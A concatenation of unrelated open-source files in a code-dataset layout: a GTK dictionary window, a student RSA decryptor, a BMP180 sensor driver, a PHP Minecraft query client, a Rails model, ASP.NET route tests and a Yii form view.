// DateFormat df = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss.SSS");
// d = df.parse(items[i][1].toString());
// items[i][1] = d.getTime();
// System.out.println("d.getTime = " + d.getTime());
}
return SUCCESS;
}
public Object[][] getItems()
{
return items;
}
public void setScanAnnotations(List<Object> scanAnnotations) {
this.scanAnnotations = scanAnnotations;
}
public List<Object> getScanAnnotations() {
return scanAnnotations;
}
public int getScanId()
{
return scanId;
}
public void setScanId(int scanId)
{
this.scanId = scanId;
}
}
| gpl-3.0 |
tachyons/malayalam-dictionary | ml_dict_lib/Window.py | 6013 | # -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*-
### BEGIN LICENSE
# Copyright (C) 2012 <Aboobacker mk> <aboobackervyd@gmail.com>
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 3, as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranties of
# MERCHANTABILITY, SATISFACTORY QUALITY, or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program. If not, see <http://www.gnu.org/licenses/>.
### END LICENSE
from gi.repository import Gio, Gtk # pylint: disable=E0611
import logging
logger = logging.getLogger('ml_dict_lib')
from . helpers import get_builder, show_uri, get_help_uri
# This class is meant to be subclassed by MlDictWindow. It provides
# common functions and some boilerplate.
class Window(Gtk.Window):
__gtype_name__ = "Window"
# To construct a new instance of this method, the following notable
# methods are called in this order:
# __new__(cls)
# __init__(self)
# finish_initializing(self, builder)
# __init__(self)
#
# For this reason, it's recommended you leave __init__ empty and put
# your initialization code in finish_initializing
def __new__(cls):
"""Special static method that's automatically called by Python when
constructing a new instance of this class.
Returns a fully instantiated BaseMlDictWindow object.
"""
builder = get_builder('MlDictWindow')
new_object = builder.get_object("ml_dict_window")
new_object.finish_initializing(builder)
return new_object
def finish_initializing(self, builder):
"""Called while initializing this instance in __new__
finish_initializing should be called after parsing the UI definition
and creating a MlDictWindow object with it in order to finish
initializing the start of the new MlDictWindow instance.
"""
# Get a reference to the builder and set up the signals.
self.builder = builder
self.ui = builder.get_ui(self, True)
self.PreferencesDialog = None # class
self.preferences_dialog = None # instance
self.AboutDialog = None # class
self.settings = Gio.Settings("net.launchpad.ml-dict")
self.settings.connect('changed', self.on_preferences_changed)
# Optional Launchpad integration
# This shouldn't crash if not found as it is simply used for bug reporting.
# See https://wiki.ubuntu.com/UbuntuDevelopment/Internationalisation/Coding
# for more information about Launchpad integration.
try:
from gi.repository import LaunchpadIntegration # pylint: disable=E0611
LaunchpadIntegration.add_items(self.ui.helpMenu, 1, True, True)
LaunchpadIntegration.set_sourcepackagename('ml-dict')
except ImportError:
pass
# Optional application indicator support
# Run 'quickly add indicator' to get started.
# More information:
# http://owaislone.org/quickly-add-indicator/
# https://wiki.ubuntu.com/DesktopExperienceTeam/ApplicationIndicators
try:
from ml_dict import indicator
# self is passed so methods of this class can be called from indicator.py
# Comment this next line out to disable appindicator
self.indicator = indicator.new_application_indicator(self)
except ImportError:
pass
def on_mnu_contents_activate(self, widget, data=None):
show_uri(self, "ghelp:%s" % get_help_uri())
def on_mnu_about_activate(self, widget, data=None):
"""Display the about box for ml-dict."""
if self.AboutDialog is not None:
about = self.AboutDialog() # pylint: disable=E1102
response = about.run()
about.destroy()
def on_mnu_preferences_activate(self, widget, data=None):
"""Display the preferences window for ml-dict."""
""" From the PyGTK Reference manual
Say for example the preferences dialog is currently open,
and the user chooses Preferences from the menu a second time;
use the present() method to move the already-open dialog
where the user can see it."""
if self.preferences_dialog is not None:
logger.debug('show existing preferences_dialog')
self.preferences_dialog.present()
elif self.PreferencesDialog is not None:
logger.debug('create new preferences_dialog')
self.preferences_dialog = self.PreferencesDialog() # pylint: disable=E1102
self.preferences_dialog.connect('destroy', self.on_preferences_dialog_destroyed)
self.preferences_dialog.show()
# destroy command moved into dialog to allow for a help button
def on_mnu_close_activate(self, widget, data=None):
"""Signal handler for closing the MlDictWindow."""
self.destroy()
def on_destroy(self, widget, data=None):
"""Called when the MlDictWindow is closed."""
# Clean up code for saving application state should be added here.
Gtk.main_quit()
def on_preferences_changed(self, settings, key, data=None):
logger.debug('preference changed: %s = %s' % (key, str(settings.get_value(key))))
def on_preferences_dialog_destroyed(self, widget, data=None):
'''only affects gui
logically there is no difference between the user closing,
minimising or ignoring the preferences dialog'''
logger.debug('on_preferences_dialog_destroyed')
# to determine whether to create or present preferences_dialog
self.preferences_dialog = None
| gpl-3.0 |
nobreconfrade/CAL | TrabRSA/mainDecrypt.cpp | 1952 | #include "rsa/keys.hpp"
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
using namespace std;
bool LoadCyphertextFromFile(string &cyphertext) {
std::ifstream file;
file.open("cyphertext.txt");
if (file.is_open() == false)
{
cout << "*ERROR*: file 'cyphertext.txt' not found" << endl;
return false;
}
// Reads the whole textfile into a buffer and copy it's string, so we recei-
//ve every character into the string, even '\0', '\n' and whitespaces, this
//is important if we want to recover the encoded cyphertext properly.
std::stringstream buffer;
buffer << file.rdbuf();
cyphertext = buffer.str();
return true;
}
BigInt DecryptEncodedCypher(PrivateKey key, BigInt encodedCypher) {
BigInt encodedText;
// M = C^e mod n
// Equivalent to: text = pow(cypher, d) % n
mpz_powm_sec(encodedText.get_mpz_t(),
encodedCypher.get_mpz_t(),
key.d.get_mpz_t(),
key.n.get_mpz_t());
// cout << "C: " << encodedCypher << endl;
// cout << "M: " << encodedText << endl;
return encodedText;
}
string DecryptCyphertext(PrivateKey key, string cyphertext) {
BigInt encodedCypher = EncodeTextAsBigInt(cyphertext);
BigInt encodedText = DecryptEncodedCypher(key, encodedCypher);
string text = EncodeBigIntAsText(encodedText);
return text;
}
int main(int argc, char const *argv[]) {
// cout << "Eu sou o trabalho de RSA e eu estou quase decifrando coisas! :D" << endl;
PrivateKey priKey;
if (LoadPrivateKeyFromFile(priKey) == false)
return 0;
string cyphertext;
if (LoadCyphertextFromFile(cyphertext) == false)
return 0;
cout << "--------cyphertext--------" << endl
<< cyphertext << endl
<< "--------------------------" << endl << endl;
cout << "Decrypting..." << endl << endl;
string text = DecryptCyphertext(priKey, cyphertext);
cout << "-----------text-----------" << endl
<< text << endl
<< "--------------------------" << endl << endl;
return 0;
}
| gpl-3.0 |
MikeMatt16/Abide | Abide Tag Definitions/Generated/Guerilla/AnimationAimingScreenStructBlock.Generated.cs | 2686 | //------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Abide.Tag.Guerilla.Generated
{
using System;
using Abide.HaloLibrary;
using Abide.Tag;
/// <summary>
/// Represents the generated animation_aiming_screen_struct_block tag block.
/// </summary>
public sealed class AnimationAimingScreenStructBlock : Block
{
/// <summary>
/// Initializes a new instance of the <see cref="AnimationAimingScreenStructBlock"/> class.
/// </summary>
public AnimationAimingScreenStructBlock()
{
this.Fields.Add(new AngleField("right yaw per frame"));
this.Fields.Add(new AngleField("left yaw per frame"));
this.Fields.Add(new ShortIntegerField("right frame count"));
this.Fields.Add(new ShortIntegerField("left frame count"));
this.Fields.Add(new AngleField("down pitch per frame"));
this.Fields.Add(new AngleField("up pitch per frame"));
this.Fields.Add(new ShortIntegerField("down pitch frame count"));
this.Fields.Add(new ShortIntegerField("up pitch frame count"));
}
/// <summary>
/// Gets and returns the name of the animation_aiming_screen_struct_block tag block.
/// </summary>
public override string BlockName
{
get
{
return "animation_aiming_screen_struct_block";
}
}
/// <summary>
/// Gets and returns the display name of the animation_aiming_screen_struct_block tag block.
/// </summary>
public override string DisplayName
{
get
{
return "animation_aiming_screen_struct";
}
}
/// <summary>
/// Gets and returns the maximum number of elements allowed of the animation_aiming_screen_struct_block tag block.
/// </summary>
public override int MaximumElementCount
{
get
{
return 1;
}
}
/// <summary>
/// Gets and returns the alignment of the animation_aiming_screen_struct_block tag block.
/// </summary>
public override int Alignment
{
get
{
return 4;
}
}
}
}
| gpl-3.0 |
ec1oud/uradmonitor_kit1 | code/sensors/bmp180.cpp | 5157 | /**
* File: bmp180.cpp
* Version: 1.0
* Date: 2012
* License: GPL v3
* Description: AVR I2C Driver for Bosch BMP180, a MEMS sensor for Temperature and Pressure
* Project: uRADMonitor KIT1, a hackable digital sensor monitoring tool with network interface
*
* Copyright 2012 by Radu Motisan, radu.motisan@gmail.com
* Copyright 2016 by Magnasci SRL, www.magnasci.com
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "bmp180.h"
// read the calibration data from sensor memory
void BMP180::getcalibration() {
uint8_t buff[2];
memset(buff, 0, sizeof(buff));
//ac1 = read16(BMP180_CAL_AC1);
readmem(BMP180_ADDR, BMP180_REGAC1, buff, 2);
ac1 = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGAC2, buff, 2);
ac2 = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGAC3, buff, 2);
ac3 = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGAC4, buff, 2);
ac4 = ((unsigned int)buff[0] <<8 | ((unsigned int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGAC5, buff, 2);
ac5 = ((unsigned int)buff[0] <<8 | ((unsigned int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGAC6, buff, 2);
ac6 = ((unsigned int)buff[0] <<8 | ((unsigned int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGB1, buff, 2);
b1 = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGB2, buff, 2);
b2 = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGMB, buff, 2);
mb = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGMC, buff, 2);
mc = ((int)buff[0] <<8 | ((int)buff[1]));
readmem(BMP180_ADDR, BMP180_REGMD, buff, 2);
md = ((int)buff[0] <<8 | ((int)buff[1]));
}
int32_t BMP180::readRawTemperature(void) {
uint8_t buff[2];
memset(buff, 0, sizeof(buff));
//read raw temperature
writemem(BMP180_ADDR, BMP180_REGCONTROL, BMP180_REGREADTEMPERATURE);
_delay_ms(5); // min. 4.5ms read Temp delay
readmem(BMP180_ADDR, BMP180_REGCONTROLOUTPUT, buff, 2);
int32_t ut,x1,x2;
//uncompensated temperature value
ut = ((int32_t)buff[0] << 8 | ((int32_t)buff[1]));
//compensate
x1 = ((int32_t)ut - ac6) * ac5 >> 15;
x2 = ((int32_t)mc << 11) / (x1 + md);
int32_t comp_ut = x1 + x2;
return comp_ut;
}
uint32_t BMP180::readRawPressure(int32_t rawtemperature ) {
uint8_t buff[3];
memset(buff, 0, sizeof(buff));
writemem(BMP180_ADDR, BMP180_REGCONTROL, BMP180_REGREADPRESSURE + (BMP180_MODE << 6));
_delay_ms(2 + (3<<BMP180_MODE));
readmem(BMP180_ADDR, BMP180_REGCONTROLOUTPUT, buff, 3);
int32_t up,x1,x2,x3,b3,b6,p;
uint32_t b4,b7;
// uncompensated pressure value
up = ((((int32_t)buff[0] <<16) | ((int32_t)buff[1] <<8) | ((int32_t)buff[2])) >> (8-BMP180_MODE));
//calculate raw pressure, compensated
b6 = rawtemperature - 4000;
x1 = (b2* (b6 * b6) >> 12) >> 11;
x2 = (ac2 * b6) >> 11;
x3 = x1 + x2;
b3 = (((((int32_t)ac1) * 4 + x3) << BMP180_MODE) + 2) >> 2;
x1 = (ac3 * b6) >> 13;
x2 = (b1 * ((b6 * b6) >> 12)) >> 16;
x3 = ((x1 + x2) + 2) >> 2;
b4 = (ac4 * (uint32_t)(x3 + 32768)) >> 15;
b7 = ((uint32_t)up - b3) * (50000 >> BMP180_MODE);
p = b7 < 0x80000000 ? (b7 << 1) / b4 : (b7 / b4) << 1;
x1 = (p >> 8) * (p >> 8);
x1 = (x1 * 3038) >> 16;
x2 = (-7357 * p) >> 16;
return p + ((x1 + x2 + 3791) >> 4);
}
void BMP180::init() {
// read calibration data
getcalibration();
}
float BMP180::convertRawTemperature(int32_t rawtemperature) {
return ((rawtemperature + 8)>>4) / 10.0;
}
uint32_t BMP180::convertRawPressure(uint32_t rawpressure) {
return rawpressure + BMP180_UNITPAOFFSET;
}
// we assume sea level pressure is 101325 Pa
float BMP180::convertAltitude(uint32_t pressure) {
return ((1 - pow(pressure/(double)101325, 0.1903 )) / 0.0000225577) + BMP180_UNITMOFFSET;
}
// -------------------------------------------------------------------------- //
float BMP180::readTemperature() {
return convertRawTemperature(readRawTemperature());
}
uint32_t BMP180::readPressure() {
return convertRawPressure(readRawPressure(readRawTemperature()));
}
float BMP180::readAltitude() {
return convertAltitude(readPressure());
}
void BMP180::readAll(float *temperature, uint32_t *pressure, float *altitude) {
int32_t rawtemperature = readRawTemperature();
int32_t rawpressure = readRawPressure(rawtemperature);
//
*temperature = convertRawTemperature(rawtemperature);
*pressure = convertRawPressure(rawpressure);
*altitude = convertAltitude(*pressure);
}
| gpl-3.0 |
cmizony/game-server | api/application/third_party/minecraft_query/MinecraftQuery.class.php | 4237 | <?php
class MinecraftQueryException extends Exception
{
// Exception thrown by MinecraftQuery class
}
class MinecraftQuery
{
/*
* Class written by xPaw
*
* Website: http://xpaw.me
* GitHub: https://github.com/xPaw/PHP-Minecraft-Query
*/
const STATISTIC = 0x00;
const HANDSHAKE = 0x09;
private $Socket;
private $Players;
private $Info;
public function Connect( $Ip, $Port = 25565, $Timeout = 3 )
{
if( !is_int( $Timeout ) || $Timeout < 0 )
{
throw new InvalidArgumentException( 'Timeout must be an integer.' );
}
$this->Socket = @FSockOpen( 'udp://' . $Ip, (int)$Port, $ErrNo, $ErrStr, $Timeout );
if( $ErrNo || $this->Socket === false )
{
throw new MinecraftQueryException( 'Could not create socket: ' . $ErrStr );
}
Stream_Set_Timeout( $this->Socket, $Timeout );
Stream_Set_Blocking( $this->Socket, true );
try
{
$Challenge = $this->GetChallenge( );
$this->GetStatus( $Challenge );
}
// We catch this because we want to close the socket, not very elegant
catch( MinecraftQueryException $e )
{
FClose( $this->Socket );
throw new MinecraftQueryException( $e->getMessage( ) );
}
FClose( $this->Socket );
}
public function GetInfo( )
{
return isset( $this->Info ) ? $this->Info : false;
}
public function GetPlayers( )
{
return isset( $this->Players ) ? $this->Players : false;
}
private function GetChallenge( )
{
$Data = $this->WriteData( self :: HANDSHAKE );
if( $Data === false )
{
throw new MinecraftQueryException( 'Failed to receive challenge.' );
}
return Pack( 'N', $Data );
}
private function GetStatus( $Challenge )
{
$Data = $this->WriteData( self :: STATISTIC, $Challenge . Pack( 'c*', 0x00, 0x00, 0x00, 0x00 ) );
if( !$Data )
{
throw new MinecraftQueryException( 'Failed to receive status.' );
}
$Last = '';
$Info = Array( );
$Data = SubStr( $Data, 11 ); // splitnum + 2 int
$Data = Explode( "\x00\x00\x01player_\x00\x00", $Data );
if( Count( $Data ) !== 2 )
{
throw new MinecraftQueryException( 'Failed to parse server\'s response.' );
}
$Players = SubStr( $Data[ 1 ], 0, -2 );
$Data = Explode( "\x00", $Data[ 0 ] );
// Array with known keys in order to validate the result
// It can happen that server sends custom strings containing bad things (who can know!)
$Keys = Array(
'hostname' => 'HostName',
'gametype' => 'GameType',
'version' => 'Version',
'plugins' => 'Plugins',
'map' => 'Map',
'numplayers' => 'Players',
'maxplayers' => 'MaxPlayers',
'hostport' => 'HostPort',
'hostip' => 'HostIp',
'game_id' => 'GameName'
);
foreach( $Data as $Key => $Value )
{
if( ~$Key & 1 )
{
if( !Array_Key_Exists( $Value, $Keys ) )
{
$Last = false;
continue;
}
$Last = $Keys[ $Value ];
$Info[ $Last ] = '';
}
else if( $Last != false )
{
$Info[ $Last ] = $Value;
}
}
// Ints
$Info[ 'Players' ] = IntVal( $Info[ 'Players' ] );
$Info[ 'MaxPlayers' ] = IntVal( $Info[ 'MaxPlayers' ] );
$Info[ 'HostPort' ] = IntVal( $Info[ 'HostPort' ] );
// Parse "plugins", if any
if( $Info[ 'Plugins' ] )
{
$Data = Explode( ": ", $Info[ 'Plugins' ], 2 );
$Info[ 'RawPlugins' ] = $Info[ 'Plugins' ];
$Info[ 'Software' ] = $Data[ 0 ];
if( Count( $Data ) == 2 )
{
$Info[ 'Plugins' ] = Explode( "; ", $Data[ 1 ] );
}
}
else
{
$Info[ 'Software' ] = 'Vanilla';
}
$this->Info = $Info;
if( $Players )
{
$this->Players = Explode( "\x00", $Players );
}
}
private function WriteData( $Command, $Append = "" )
{
$Command = Pack( 'c*', 0xFE, 0xFD, $Command, 0x01, 0x02, 0x03, 0x04 ) . $Append;
$Length = StrLen( $Command );
if( $Length !== FWrite( $this->Socket, $Command, $Length ) )
{
throw new MinecraftQueryException( "Failed to write on socket." );
}
$Data = FRead( $this->Socket, 4096 );
if( $Data === false )
{
throw new MinecraftQueryException( "Failed to read from socket." );
}
if( StrLen( $Data ) < 5 || $Data[ 0 ] != $Command[ 2 ] )
{
return false;
}
return SubStr( $Data, 5 );
}
}
| gpl-3.0 |
tolien/ledgr-app | app/models/display.rb | 1614 | class Display < ActiveRecord::Base
# attr_accessible :end_date, :start_date, :title, :display_type_id
belongs_to :display_type
belongs_to :page
acts_as_list add_new_at: :bottom
has_many :display_categories, dependent: :destroy
has_many :categories, through: :display_categories
validates_presence_of :display_type
validates_presence_of :page
validates_numericality_of :position, allow_nil: true, only_integer: true, greater_than_or_equal_to: 0
def get_data
unless self.categories.empty?
self.display_type.get_data_for(self)
else
Item.none
end
end
def get_item_list
unless self.categories.empty?
item_list = Item.unscoped.joins(:entries, :categories)
.where(categories: { id: self.categories })
if self.start_date
start_date = self.start_date
elsif self.start_days_from_now
start_date = DateTime.now.utc.at_beginning_of_day - self.start_days_from_now.days
end
unless start_date.nil?
item_list = item_list.where("entries.datetime >= ?", start_date)
end
unless self.end_date.nil?
item_list = item_list.where("entries.datetime <= ?", self.end_date)
end
item_list = item_list.select("items.id, items.name, sum(entries.quantity) AS sum")
item_list = item_list.group(:id, :name)
item_list = item_list.reorder("sum DESC")
item_list.to_a
end
end
def should_show_for?(user)
if self.is_private
if user.nil? or self.page.nil?
false
else
self.page.user.eql? user
end
else
true
end
end
end
| gpl-3.0 |
gguruss/mixerp | src/Libraries/Web API/Core/Tests/GenderRouteTests.cs | 10700 | // ReSharper disable All
using System;
using System.Configuration;
using System.Diagnostics;
using System.Net.Http;
using System.Runtime.Caching;
using System.Web.Http;
using System.Web.Http.Controllers;
using System.Web.Http.Dispatcher;
using System.Web.Http.Hosting;
using System.Web.Http.Routing;
using Xunit;
namespace MixERP.Net.Api.Core.Tests
{
public class GenderRouteTests
{
[Theory]
[InlineData("/api/{apiVersionNumber}/core/gender/delete/{genderCode}", "DELETE", typeof(GenderController), "Delete")]
[InlineData("/api/core/gender/delete/{genderCode}", "DELETE", typeof(GenderController), "Delete")]
[InlineData("/api/{apiVersionNumber}/core/gender/edit/{genderCode}", "PUT", typeof(GenderController), "Edit")]
[InlineData("/api/core/gender/edit/{genderCode}", "PUT", typeof(GenderController), "Edit")]
[InlineData("/api/{apiVersionNumber}/core/gender/count-where", "POST", typeof(GenderController), "CountWhere")]
[InlineData("/api/core/gender/count-where", "POST", typeof(GenderController), "CountWhere")]
[InlineData("/api/{apiVersionNumber}/core/gender/get-where/{pageNumber}", "POST", typeof(GenderController), "GetWhere")]
[InlineData("/api/core/gender/get-where/{pageNumber}", "POST", typeof(GenderController), "GetWhere")]
[InlineData("/api/{apiVersionNumber}/core/gender/add-or-edit", "POST", typeof(GenderController), "AddOrEdit")]
[InlineData("/api/core/gender/add-or-edit", "POST", typeof(GenderController), "AddOrEdit")]
[InlineData("/api/{apiVersionNumber}/core/gender/add/{gender}", "POST", typeof(GenderController), "Add")]
[InlineData("/api/core/gender/add/{gender}", "POST", typeof(GenderController), "Add")]
[InlineData("/api/{apiVersionNumber}/core/gender/bulk-import", "POST", typeof(GenderController), "BulkImport")]
[InlineData("/api/core/gender/bulk-import", "POST", typeof(GenderController), "BulkImport")]
[InlineData("/api/{apiVersionNumber}/core/gender/meta", "GET", typeof(GenderController), "GetEntityView")]
[InlineData("/api/core/gender/meta", "GET", typeof(GenderController), "GetEntityView")]
[InlineData("/api/{apiVersionNumber}/core/gender/count", "GET", typeof(GenderController), "Count")]
[InlineData("/api/core/gender/count", "GET", typeof(GenderController), "Count")]
[InlineData("/api/{apiVersionNumber}/core/gender/all", "GET", typeof(GenderController), "GetAll")]
[InlineData("/api/core/gender/all", "GET", typeof(GenderController), "GetAll")]
[InlineData("/api/{apiVersionNumber}/core/gender/export", "GET", typeof(GenderController), "Export")]
[InlineData("/api/core/gender/export", "GET", typeof(GenderController), "Export")]
[InlineData("/api/{apiVersionNumber}/core/gender/1", "GET", typeof(GenderController), "Get")]
[InlineData("/api/core/gender/1", "GET", typeof(GenderController), "Get")]
[InlineData("/api/{apiVersionNumber}/core/gender/get?genderCodes=1", "GET", typeof(GenderController), "Get")]
[InlineData("/api/core/gender/get?genderCodes=1", "GET", typeof(GenderController), "Get")]
[InlineData("/api/{apiVersionNumber}/core/gender", "GET", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/core/gender", "GET", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/{apiVersionNumber}/core/gender/page/1", "GET", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/core/gender/page/1", "GET", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/{apiVersionNumber}/core/gender/count-filtered/{filterName}", "GET", typeof(GenderController), "CountFiltered")]
[InlineData("/api/core/gender/count-filtered/{filterName}", "GET", typeof(GenderController), "CountFiltered")]
[InlineData("/api/{apiVersionNumber}/core/gender/get-filtered/{pageNumber}/{filterName}", "GET", typeof(GenderController), "GetFiltered")]
[InlineData("/api/core/gender/get-filtered/{pageNumber}/{filterName}", "GET", typeof(GenderController), "GetFiltered")]
[InlineData("/api/{apiVersionNumber}/core/gender/custom-fields", "GET", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/core/gender/custom-fields", "GET", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/{apiVersionNumber}/core/gender/custom-fields/{resourceId}", "GET", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/core/gender/custom-fields/{resourceId}", "GET", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/{apiVersionNumber}/core/gender/meta", "HEAD", typeof(GenderController), "GetEntityView")]
[InlineData("/api/core/gender/meta", "HEAD", typeof(GenderController), "GetEntityView")]
[InlineData("/api/{apiVersionNumber}/core/gender/count", "HEAD", typeof(GenderController), "Count")]
[InlineData("/api/core/gender/count", "HEAD", typeof(GenderController), "Count")]
[InlineData("/api/{apiVersionNumber}/core/gender/all", "HEAD", typeof(GenderController), "GetAll")]
[InlineData("/api/core/gender/all", "HEAD", typeof(GenderController), "GetAll")]
[InlineData("/api/{apiVersionNumber}/core/gender/export", "HEAD", typeof(GenderController), "Export")]
[InlineData("/api/core/gender/export", "HEAD", typeof(GenderController), "Export")]
[InlineData("/api/{apiVersionNumber}/core/gender/1", "HEAD", typeof(GenderController), "Get")]
[InlineData("/api/core/gender/1", "HEAD", typeof(GenderController), "Get")]
[InlineData("/api/{apiVersionNumber}/core/gender/get?genderCodes=1", "HEAD", typeof(GenderController), "Get")]
[InlineData("/api/core/gender/get?genderCodes=1", "HEAD", typeof(GenderController), "Get")]
[InlineData("/api/{apiVersionNumber}/core/gender", "HEAD", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/core/gender", "HEAD", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/{apiVersionNumber}/core/gender/page/1", "HEAD", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/core/gender/page/1", "HEAD", typeof(GenderController), "GetPaginatedResult")]
[InlineData("/api/{apiVersionNumber}/core/gender/count-filtered/{filterName}", "HEAD", typeof(GenderController), "CountFiltered")]
[InlineData("/api/core/gender/count-filtered/{filterName}", "HEAD", typeof(GenderController), "CountFiltered")]
[InlineData("/api/{apiVersionNumber}/core/gender/get-filtered/{pageNumber}/{filterName}", "HEAD", typeof(GenderController), "GetFiltered")]
[InlineData("/api/core/gender/get-filtered/{pageNumber}/{filterName}", "HEAD", typeof(GenderController), "GetFiltered")]
[InlineData("/api/{apiVersionNumber}/core/gender/custom-fields", "HEAD", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/core/gender/custom-fields", "HEAD", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/{apiVersionNumber}/core/gender/custom-fields/{resourceId}", "HEAD", typeof(GenderController), "GetCustomFields")]
[InlineData("/api/core/gender/custom-fields/{resourceId}", "HEAD", typeof(GenderController), "GetCustomFields")]
[Conditional("Debug")]
public void TestRoute(string url, string verb, Type type, string actionName)
{
//Arrange
url = url.Replace("{apiVersionNumber}", this.ApiVersionNumber);
url = Host + url;
//Act
HttpRequestMessage request = new HttpRequestMessage(new HttpMethod(verb), url);
IHttpControllerSelector controller = this.GetControllerSelector();
IHttpActionSelector action = this.GetActionSelector();
IHttpRouteData route = this.Config.Routes.GetRouteData(request);
request.Properties[HttpPropertyKeys.HttpRouteDataKey] = route;
request.Properties[HttpPropertyKeys.HttpConfigurationKey] = this.Config;
HttpControllerDescriptor controllerDescriptor = controller.SelectController(request);
HttpControllerContext context = new HttpControllerContext(this.Config, route, request)
{
ControllerDescriptor = controllerDescriptor
};
var actionDescriptor = action.SelectAction(context);
//Assert
Assert.NotNull(controllerDescriptor);
Assert.NotNull(actionDescriptor);
Assert.Equal(type, controllerDescriptor.ControllerType);
Assert.Equal(actionName, actionDescriptor.ActionName);
}
#region Fixture
private readonly HttpConfiguration Config;
private readonly string Host;
private readonly string ApiVersionNumber;
public GenderRouteTests()
{
this.Host = ConfigurationManager.AppSettings["HostPrefix"];
this.ApiVersionNumber = ConfigurationManager.AppSettings["ApiVersionNumber"];
this.Config = GetConfig();
}
private HttpConfiguration GetConfig()
{
if (MemoryCache.Default["Config"] == null)
{
HttpConfiguration config = new HttpConfiguration();
config.MapHttpAttributeRoutes();
config.Routes.MapHttpRoute("VersionedApi", "api/" + this.ApiVersionNumber + "/{schema}/{controller}/{action}/{id}", new { id = RouteParameter.Optional });
config.Routes.MapHttpRoute("DefaultApi", "api/{schema}/{controller}/{action}/{id}", new { id = RouteParameter.Optional });
config.EnsureInitialized();
MemoryCache.Default["Config"] = config;
return config;
}
return MemoryCache.Default["Config"] as HttpConfiguration;
}
private IHttpControllerSelector GetControllerSelector()
{
if (MemoryCache.Default["ControllerSelector"] == null)
{
IHttpControllerSelector selector = this.Config.Services.GetHttpControllerSelector();
return selector;
}
return MemoryCache.Default["ControllerSelector"] as IHttpControllerSelector;
}
private IHttpActionSelector GetActionSelector()
{
if (MemoryCache.Default["ActionSelector"] == null)
{
IHttpActionSelector selector = this.Config.Services.GetActionSelector();
return selector;
}
return MemoryCache.Default["ActionSelector"] as IHttpActionSelector;
}
#endregion
}
} | gpl-3.0 |
Professi/diwa | views/word/_form.php | 2117 | <?php
use yii\helpers\Html;
use app\components\widgets\CustomActiveForm;
use yii\web\JsExpression;
/* @var $this yii\web\View */
/* @var $model app\models\Word */
/* @var $form CustomActiveForm */
?>
<div class="word-form row">
<?php $form = CustomActiveForm::begin(); ?>
<fieldset>
<?= $form->field($model, 'language_id')->dropDownList(\yii\helpers\ArrayHelper::map(\app\models\Language::find()->all(), 'id', 'name')); ?>
<?= $form->field($model, 'word', ['template' => $form->getTextAreaTemplate()])->textarea(['rows' => 6, 'placeholder' => app\models\Word::getLabel()]); ?>
<?=
$form->field($model, 'additionalInformations')->widget(\app\components\widgets\Selectize::className(), [
'clientOptions' => [
'placeholder' => \app\controllers\AdditionalInformationController::getPlaceholder(),
'dataAttr' => 'value',
'delimiter' => \app\controllers\AdditionalInformationController::DELIMITER,
'valueField' => 'id',
'labelField' => 'text',
'plugins' => ['remove_button'],
'create' => false,
'load' => new JsExpression(
'function(query, callback) {
if (!query.length) return callback();
$.ajax({
url: "' . \yii\helpers\Url::to(['additional-information/get-informations']) . '",
type: "GET",
dataType: "json",
data: {
q: query,
page_limit: 10,
},
error: function() {
callback();
},
success: function(res) {
callback(res);
}
});
}'
),
],
]);
?>
<div class="form-group">
<?= Html::submitButton($model->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Update'), ['class' => $model->isNewRecord ? 'btn btn-success' : 'btn btn-primary']) ?>
</div>
</fieldset>
<?php CustomActiveForm::end(); ?>
</div>
| gpl-3.0 |
iCarto/siga | appgvSIG/src/com/vividsolutions/jump/util/FlexibleDateParser.java | 10657 | /*
* The Unified Mapping Platform (JUMP) is an extensible, interactive GUI
* for visualizing and manipulating spatial features with geometry and attributes.
*
* Copyright (C) 2003 Vivid Solutions
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
